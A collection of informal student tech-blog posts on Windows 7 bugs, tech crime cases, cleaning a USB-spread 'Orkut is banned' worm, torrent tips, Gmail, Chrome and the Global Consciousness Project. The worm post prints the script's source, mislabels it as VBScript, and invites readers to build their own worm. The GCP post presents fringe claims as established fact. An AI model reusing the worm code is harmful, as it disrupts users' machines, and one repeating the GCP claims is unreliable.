Windows 7 Testers Find 2000 Bugs: Be Proud You Found One

 

It's been nearly two months since the beta of Windows 7 was officially released, and you will be awestruck hearing this- 2000 unique bugs reported and fixed in windows 7!

This happened because in every Windows 7 program, the title bar has a “Send Feedback” option. So Microsoft is listening to lots of people who are clicking the button!

According to Steve Sinofsky (the sin-of-sky effect is not intentional), senior vice president, Windows live engineering group, Microsoft received over 500,000 reports- that means over 500 reports per developer. During a "peak week in January," they were receiving one report about every fifteen seconds.

Sinofsky goes on to describe what a "bug" really is for a developer. It sounds rather broad, especially with that phrase, "any one of dozens of different ways that the software can behave in a way that isn't expected."

Though, I want to be more exact, a bug is anytime a cosmetic issue, a consistency issue, a crash, a confusing user experience, a compatibility issue, a missing feature, or any one of dozens of different ways that the software can behave in a way that isn't expected!!!

A bug for us is not an emotional term, but just shorthand for an entry that was not made correctly. Nothing to be taken to heart.

Bugs are reported by a human using the various forms of “telemetry” built into Windows 7.

Microsoft has already fixed 2,000 bugs in Windows 7, and I'll bet that there'll be plenty more before this beta is finished in August. Go, go, Windows.

As a side note, don't you think I'm entitled to 1/250,000th of the profits made on 7 for my two Send Feedback items… what do you say?

2008’s biggest tech crime stories

 

Here is the collection of biggest 2008 tech crime stories, grilled out from the darkest corners of the internet…

Read the self-confessions of hackers below and feel the chills running through your spine.

1. The spam King

In a boon for email users everywhere, the man whom prosecutors had dubbed "The Spam King" was sentenced to 47 months in prison earlier this year after he pleaded guilty to fraud, spamming and tax evasion in July. Described as one of the world's 10 worst spammers at the time of his arrest by a Microsoft attorney, Soloway, 28, was first sued for spamming by Microsoft in 2003. Despite losing a $7 million civil judgment to Microsoft back in 2005, Soloway continued to send out massive spam up until his arrest in May 2007. In addition to being sentenced to nearly four years in jail, Soloway will also have to serve three years of probation and perform 200 hours of community service.

2. 40 million credit card numbers stolen using SQL Injection

The US Department of Justice revealed this summer that a group of hackers used a combination of wardriving(act of searching for Wi-Fi wireless in a moving vehicle using a laptop or PDA), sniffer software and SQL injection attacks to steal over 40 million credit and debit card numbers from TJX, OfficeMax, Barnes & Noble and other companies and store them on underground server systems in the US, Latvia and the Ukraine. The DOJ(Department of Justice) has indicted 11 alleged hackers on charges of computer fraud, wire fraud, access device fraud, aggravated identity theft. So far only one of the 11 people charged by the DOJ has pleaded guilty.

3. Alcatel official pays $2.5 Million in bribes to Costa Rican Officials

Facing an increasingly competitive telecom market, former Alcatel official Christian Sapsizian decided to secure lucrative telecom contracts the old fashioned way: through bribes. Sapsizian, who worked as Alcatel's deputy vice president for the Latin American region from 2000 to 2004, was convicted in September of paying out $2.5 million in bribes to Costa Rican officials over a four-year period to help Alcatel nail down a $149 million cellular network deal. As punishment, Sapsizian, 62, will have to pay a $261,500 fine and serve three years of supervised release.

4. Thousands of company computers transformed to botnets

Robert Matthew Bentley needed a large network of computers to help him distribute adware. To this end, he hacked into the computer system at Newell Rubbermaid, the plastic-ware company that makes Sharpie markets, and transformed hundreds of its computers into a botnet(A botnet is a network of zombie computers under the remote control of a master). From there, the network was used to infect computers throughout the world with adware on behalf of DollarRevenue, a notorious adware producer that was fined over $1.5 million by the Dutch government for distributing adware in 2007. Bentley, a 21-year-old hacker based in Florida, was paid 0.15 Euros for each European computer he infected with adware and $0.25 for every US PC he infected with adware, investigators said. Bentley pleaded guilty to charges of computer fraud and conspiracy to commit computer fraud. He was sentenced to 41 months in prison and must pay $65,000 restitution.

5. Fraud with internet kiosks

Lillian Glaubman's business propositions were akin to the business plan of South Park's legendary Underpants Gnomes. In other words:

Step 1: Set up Internet kiosks

Step 2: ?????

Step 3: Profit!

This Miami woman was the administrator for Internet kiosk vendor Pantheon Holdings. According to investigators, Pantheon sold businesses Internet kiosks for $18,000 a pop by persuading them that they would reap substantial rewards from both Internet connection access and for advertisements that would appear on the kiosks. Additionally, Pantheon promised to find high-traffic areas for the kiosks and to get advertisers to place ads on the screens.

Predictably, Pantheon never did any work to attract advertisers and the kiosks were more likely to be placed in tumbleweed farms than in well-trafficked zones. In addition to serving jail time, Glaubman was also ordered to pay a whopping $18.2 million in restitution.

6. China made equipments sold as Cisco’s

It's a scam so simple: import a bunch of cheap no-name network equipment from China, pass it off as Cisco gear in the U.S. and walk away with a fortune. Charles Lacy-Thompson, the 52-year-old former owner of the New York-based Coletronic Computer electronics sales company, actually implemented such a scheme over a four-year period from 2003 through 2007. In that time, his company generated sales between $4 million and $5 million per year, and an FBI investigation found that Coletronic possessed more than 3,500 pieces of fake Cisco gear valued at $3.5 million. Despite the best efforts of Lacy-Thompson's lawyer to paint his client as a great guy - say, did you know he's an inspirational youth sports coach and that he volunteers at a local food pantry? - Lacy-Thompson was sentenced to 30 months in prison. He also has agreed to fork over $2.2 million in cash and property to the federal government.

7. Vice-President’s email hacked by a 20-year old lad

In addition to the big convictions for tech-related crime this year, there were several arrests in high-profile cases that are currently awaiting trial. The biggest was that of David Kernell (shown here), a 20-year-old Tennessee man who has been indicted for hacking into former Republican vice-presidential candidate Sarah Palin's email account. He has pleaded not guilty to accessing a protected computer. Other notable arrests include Francis Janosko, a former inmate at the Plymouth County Correctional Facility in Massachusetts who was arrested by the FBI for allegedly hacking into his former prison's computer network and stealing prison workers' Social Security numbers; Viktor Savtyrev, a systems administrator from New Jersey who was arrested for allegedly trying to extort money from a company that had recently laid him off; and Biswamohan Pani, a former Intel employee who has been indicted for allegedly stealing $1 billion worth of trade secrets from his former company.

ORKUT IS BANNED you fool

“Orkut is banned you fool, the administrators didnt write this program guess who did?? MUHAHAHA!!”

Sounds familiar??? This happens every time you try to open orkut in college. Though you feel frustrated for not being able to do scrapping but you are also left baffled, who wrote this program?

You guess it’s the 4^th year boys who did this and admire their dexterity for writing such a program.

Moreover, you get a similar kinda message when you try to use Firefox, “USE INTERNET EXPLORER YOU DOPE, I DNT HATE MOZILLA BUT USE IE OR ELSE…”

So what is it? Is it made by the 4^th year top-shot coders? Is it embedded somewhere in the nasty internet servers of our college? And the million $ question-“is there a way out?”

We’ill dig out the details for you.

Reality Bites

It’s just a worm (like sujin.np) written in VBScript by a crazy Indian programmer (not from our college, so stop blaming your seniors) who deserves to rot in his/her grave! Cleaning this worm out is a simple step-by-step process:

• First press Control-Alt-Delete (Ctrl-Alt-Del is called the three finger exercise in Windows so do it)
• 
• Click Processes and look for “svchost.exe” where user name is “USER” or “your name”, NOT “SYSTEM” or “NETWORK SERVICE” or “LOCAL SERVICE” There will be two svchost processes. End both of them.
• Now open command prompt (cmd) and point to C:\>
• Here, type attrib -s -r -h heap41a /s /d and press enter
• Now Open C:\ and delete the heap41a folder (it’s in hidden state)
• Finally, remove C:\heap41a\svchost.exe shortcut from (Start > All Programs >Startup)
• That’s all!!!

Pendrive(mother of all problems)

• This worm enjoys its hefty circulation owing to gullible pendrive users. So it’s necessary to clean the pendrive before and after its use on any computer. It’s again a simple step-by-step process.
• Plug in the pen drive (on a clean computer). Make sure you DON’T DOUBLE CLICK on the pen drive.
• Right Click on the pen drive and Click “Search” from the menu that appears (Don’t click Autoplay or Open), all belong to the virus and clicking any of them will infect the computer with the virus again.
• Type “*.exe ” in the first box (all or part of the filename)
• Click “More advanced options” and tick Search hidden files and folders
• Click Search button
• In the search results, look for application file types with folder icon
• These .exe files are trying to disguise themselves as folders to fool you into clicking them, so they most probably are viruses!!!
• Delete them and check the pen drive again.
• You’re safe now!!!

The worm

As previously told, this worm is written in VB Script which is located in C:\heap41a. Here, have a sneak peek at the code.

This is the Script of the worm (The insane code…)

#persistent

#notrayicon

settimer,ban,2000

return

ban:

WinGetActiveTitle, ed

ifinstring,ed,orkut

{

winclose %ed%

soundplay,C:\heap41a\2.mp3

msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

return

}

ifinstring,ed,youtube

{

winclose %ed%

soundplay,C:\heap41a\2.mp3

msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

return

}

ifinstring,ed,Mozilla Firefox

{

winclose %ed%

msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA

BUT USE IE `r OR ELSE...,30

return

}

ifwinactive ahk_class IEFrame

{

ControlGetText,ed,edit1,ahk_class IEFrame

ifinstring,ed,orkut

{

winclose ahk_class IEFrame

soundplay,C:\heap41a\2.mp3

msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

}

}

If you get some time, try and build a worm of your own using the above code.

Only for ethical use!!!

µTorrent: a how to do it guide

 

Picture this: you have a 4.18GB torrent to download (lets say 30 episodes of X-Files). You are using the Wi-Fi internet in the hostel and after several weeks you realize that the download is just half complete. Now you have your summer vacations after the semesters and you are desperate to go home and enjoy mama’s food. Back home, you have broadband and wonder if its possible to take the 50% complete torrent files, courtesy: hostel Wi-Fi, and resume downloading on another computer at home? Its possible anytime to “resume” a download on “one” machine using any download manager. But is it possible to “resume” download on “another” computer? Affirmative! µTorrent gives you that advantage.

Picture 2: you need to format your computer and many of your torrents are in half complete state. You are afraid that if you’ll format, you’ll have to start downloading torrents from scratch. Is there a way out? There is! You can transfer incomplete torrents from 1^st computer to 2^nd (another) computer.

Transferring incomplete files from 1st computer

Copy the following files from 1^st computer:

1. The incomplete actual downloaded file (not the *.torrent file)

2. The “µTorrent” folder from C:\Documents and Settings\<username>\Application Data

Setting up torrent on 2st computer

1. Install µTorrent on the second machine and paste (replace) the “µTorrent” folder in C:\Documents and Settings\<username>\Application Data of the 2nd computer

2. Paste the incomplete downloaded files anywhere in the 2nd computer.

3. Now open µTorrent. You’ll see that the torrents are showing red crosses before them.

4. Right click any torrent, and click the third last option, “Advanced”>Set Download Location… Here set the path of the location where you just pasted the incomplete files.

5. Voila! The torrent resumes, from where you last left! i.e from 50%

This way you can save precious hours of downloading even when you have to switch from one computer to another

Tips

· Always use µTorrent for downloading torrents as other clients don’t provide similar facility.

· Don’t use FlashGet for torrents as it suffixes *.jc to an incomplete file, and renders a file useless if not completely downloaded.

· Use www.isohunt.com for searching torrents

Offline Gmail: New in Gmail Lab

The buzz

Wish Gmail could work

like Outlook Express when offline? The gods just heard you(read Google geeks), so they launched another exciting feature this Tuesday (27^th jan) “Offline Gmail”

Where you can store a copy of all your g-mails on your HDD. Well you can do that in Outlook too just by putting gmail’s pop and smtp address… so whats the difference?

 

The catch here is that you don’t lose the gmail interface. You can just type www.gmail.com in the browser even when offline and switch into the gmail interface just like you’re used to. You can view the cached copy of mails till last synchronization.

 

Result= the same browser-based Gmail experience even when offline

 

How is it done?

Gmail uses “Gears”

(www.gears.google.com) which is a browser technology, to download a local cache of mails. Gears allow web applications to interact naturally with the desktop.

 

Features…

You can read and write messages, star and label them, and do all of the things you're

 used to doing while reading your webmail online. Any messages you send while offline will be placed in your outbox and automatically sent the next time Gmail detects a connection.

 

So if you have squirrels at home that love to chew your internet wire, Offline Gmail is for you!

How to get started

1. Click the Labs tab 
2. Select Enable next to Offline Gmail.
3. Click Save Changes.
4. After your browser reloads, you'll see a new "Offline^0.1" link in the upper righthand corner of your account, next to your username. Click this link to start the offline set up process and download Gears if you don't already have it.

Happy Mailings!

Global Consciousness Program(GCP): Machines can read your mind

Reality is wilder than fiction. If you are reading it for the first time: Welcome. And if you already knew this: Welcome back.

The article below is not a story out of Isaac Asimov's Science fiction or a plot by Wachowski brothers. Its real and the people in Princeton University are working on it.

The Global Consciousness Program (GCP) is a research that collective feelings and emotions create resonance. This resonance has the power to change the course of universe! Sounds weird? Read on…

When groups of people produce the same feelings and emotions, a resonance occurs. Like the 9/11 incident, Barack Obama's oath, Princess Diana's death etc. At these occasions millions of people experienced same emotions. Even at midnight of a New Year people have similar emotions. Is it possible then these subtle emotions when produced in sheer volume have an impact on the universe? Can the course of Universe be molded if a reverberation of emotions occurs?

GCP is a research led by Princeton University which tries to unravel this supernatural secret. It uses a network of computers spread across the globe to produce some random data and then try to establish a pattern in that data. They found the pattern. The weird thing is that this pattern is disturbed from the normalized line at occasions like 9/11, Tsunami in 2005, Chechen hostage tragedy in 2002, etc. This shows that the subtle but powerful resonance of human emotions has the power to affect the reality axis. The coherent group consciousness is the core of GCP program.

Lectures on GCP

first

So what is GCP?

Global Consciousness Project (GCP) was pioneered by international group of researchers from Princeton University who probably saw many sci-fi movies in their childhood and now pronouncing them in real life. Perhaps some of them can also bend spoons just by their mental power. So you should join them if you too are a sci-fi movie buff!

The core of GCP as told above, lies in group consciousness. The research in GCP records the effect of events that stimulate us to join as a world-wide consciousness, like the New Year eve, when we are all absorbed in celebrations. We are all happy and jovial at that time. Here "we" symbolizes 6 billion people. This "happiness" creates a resonance because of sheer momentum of the number of people involved. Now GCP is a research which tries to answer, "Can this resonance affect non-living things as well?" The research says "yes" (WOW!)

How is the research done?

This part is interesting. GCP works with a network of electronic devices that produce COMPLETELY RANDOM data at dozens of sites, hundreds of times a second, around the world and merge it via the Internet to a central computer.

The central computer is called "NOOSPHERE" after Teilhard de Chardin's idea of a global intelligence… (Remember IRIS from Jonny Quest?!) It gathers all the data, processes it according to sophisticated programs and archives the results. The data is collected several times a second at each of the nodes in the network, thus producing several TBs of data each day.

Thus GCP is a GLOBAL NETWORK of electronic devices producing continuous random data sequences. Subtle patterns in the data are linked with events that cause shared emotions in millions of people. The results challenge common ideas about the world, but independent analyses confirm the unexpected patterns, and also indicate that they cannot be attributed to ordinary physical forces or electromagnetic fields.

Results

The continuous streams of similar pattern from these nodes tend to depart from expectation when major "Global Events" stimulate a wide-spread coherence of thoughts and emotions. These three samples show the average of the cumulative deviation from data collected during such events.

Correlation Patterns at 9/11 2001, Wellstone Plane Crash 2002, Chechen Hostage Tragedy 2002

Random data generally wanders around the horizontal line at zero, while a consistent deviation resulting in a sloping trend indicates that something changed the output of GCP instruments.

"We don't yet know how to explain the subtle correlations between events of importance to humans and the GCP data, but they are quite clear.

The results are evidence that the physical world and our mental world of information and meaning are linked in ways that we don't yet understand."

-Researchers at Princeton [www.noosphere.princeton.edu]

So the next time you invoke a mass bunk and the whole class joins in, remember, the resonance of feelings is disturbing a global pattern that is captured by GCP machines, and you are changing the course of Universe…

If you are fascinated by the idea, you can do more than just reading… you can host a GCP node at your home. Just shoot a mail to rdnelson@princeton.edu. Specific requirements are given at http://noosphere.princeton.edu/eggreq.html

Read more @:
http://noosphere.princeton.edu/

Thoughts have Power

Are peace and non-violence outdated concepts?

Today we had debate in the college (29^th Jan 09) on a vintage topic "are peace and non-violence outdated concepts?" I did not participate because my bus goes at 5pm and my turn was supposed to come at 6. Nonetheless I heard the views of many people before leaving. Almost all favored the topic. Cool! While returning, I was pondering on the topic as I didn't have time to issue my book from library!

Many times on my way back home, I have seen people involved in verbal duals. With their vehicles parked on the road, blocking the traffic behind and issuing abuses to each other. Sometimes even resorting to fisticuffs. And I wonder, how the ugly scene could have been avoided if either of the them had guts to smile and say "sorry" to the other when they bumped into each other. A smile is a curve that straightens up many problems and prevents violence.

Why do you have to shed blood when things can be sorted just by applying a pinch of gray matter? If you have got enough blood then go and donate it… and let someone else gain life.

The Advertisment story

A product is launched!! but will it do well? will it strike the right chord with the public?

A bad advertisement and the answers to all the above will be in negative!!! the biggest power that you can give to someone is "the power to decide the fate of things around him" 

I am bestowed with this power to make a printed media advertisment for a laptop by Axis-Net. Here it goes:

Business laptop manufacturer Axis has to unveiled an online marketing campaign for the promotion of its Trendy Budget based laptops with a starting range of Rs 30,000/- onwards.

For the first time in India, they have come up with both solar and electricity rechargeable batteries in their laptops at the same time.

They have started a Social community website “AXIS-NET” on Internet to promote it.

And have started a referral programme as a promotional scheme where by referring

the website to three friends will entitled them to play a quiz and every week, one

winner on the basis of a Lucky draw will win a Laptop.

The advertisement should have:

1. Name of The Product

2. Tagline

3. Logo

This is what I made

All about Chrome

For a decade now, Google has helped us a great deal. And is still adding more innovation so that we can live life king sized! This company has created an identity (read index) for everyone. So the past decade witnessed a billion people loving Google more than their spouses (literally). 

You can feel this love of Google (again literally) at http://www.google.com/tenthbirthday 

Google seldom produces desktop products. But when it does, they are hyped. The first sensation was Google earth and now Chrome.

Chrome is meant to be simple. Its this logic that derives the engine behind chrome. The guys at Google did an intensive case study before cooking chrome to ensure lasting flavor and aroma. They realized a potent fact that a web browser needs to be designed from scratch, since the world has moved too far ahead of the first web page created fifteen years back.

Google went ahead with this and created the open source Chrome which is as light as feather and as powerful as Rock (feel the pun). They realized that now a web page is not just simple text page rather its a collection of rich interactive features and embedded applications. This requires a browser platform that understands the contingencies of the application and provide an impeccable ambiance for its execution. So instead of revising an existing browser, they redesigned the foundation and reframed the components under one hood.

The result was Chrome that gets out of your way and gets you where you want to go.

The best thing is that Chrome keeps all the tabs in isolated “sandbox” (see picture) thus preventing the entire browser to crash even if a site goes haywire. Remember your fury when your FireFox crashed just because you tried to open a 5mb pdf file on the browser itself? Its very simple in Chrome to shut the ungrateful rogue site and continue life. 

Here’s a simple demo how to do so:

If a site stops responding, open up the Task Manager. Figure out which Chrome sandbox is consuming the maximum memory due to instability. With all probability this sandbox is the culprit. Just press End Task and switch to the same site.

The poor webpage is devoured… and you’ll see this message being flashed on the screen.

This is one best reason of me using Chrome… there are several others too though.

Chrome allows you to work in “incognito window” which does not store any personally identifiable data locally like web history, cookies or searches. (It however cannot protect you from the data captured by a website or the people standing behind you!) So use this feature if your cyber cafewala has chrome installed.

Chrome uses V8, a more powerful JavaScript engine, to power the next generation of web applications that aren't even possible in today's browsers.

It has a nice charming interface that allows you to swap the location of tabs in fancy animation, the download button '↓' zooms in and out nicely, and the tabs when undocked are converted to new windows!

Other features include- inbuilt Task Manager, JavaScript Console and debugger, adding to a developer’s delight! Chrome is open source and allows you to view/edit its code. Available at http://code.google.com/chromium/

Chrome also has an inbuilt spell check engine which nudges you every time you fill a wrong word in a web form (just like firefox!). It also suggests you for the most appropriate website when typing in the address bar and auto completes Google searches made in it.

Enough simplicity. What if you want to use some add-ons?

A juicer point of discussion here is that why Chrome does not support toolbars? Including its own, vintage Google toolbar. And the interesting part is that it must had hurt Google more that you by lowering its ads revenue via toolbar searches, then why did they disable the use of ad-ons in Chrome? The probable answer is that this is a beta release and they just want to test the market before applying more layers.

So friends in this detailed enlightenment process you are left with one dilemmatic question “To be or not to be”… The wise answer is: if you like simplicity and cleanliness around you, Chrome is for you. If you like hip hop, colors and extravaganza use firefox… and if you cant move a step without a walking stick, use Internet Explorer!

Retrospect your decision at www.google.com/chrome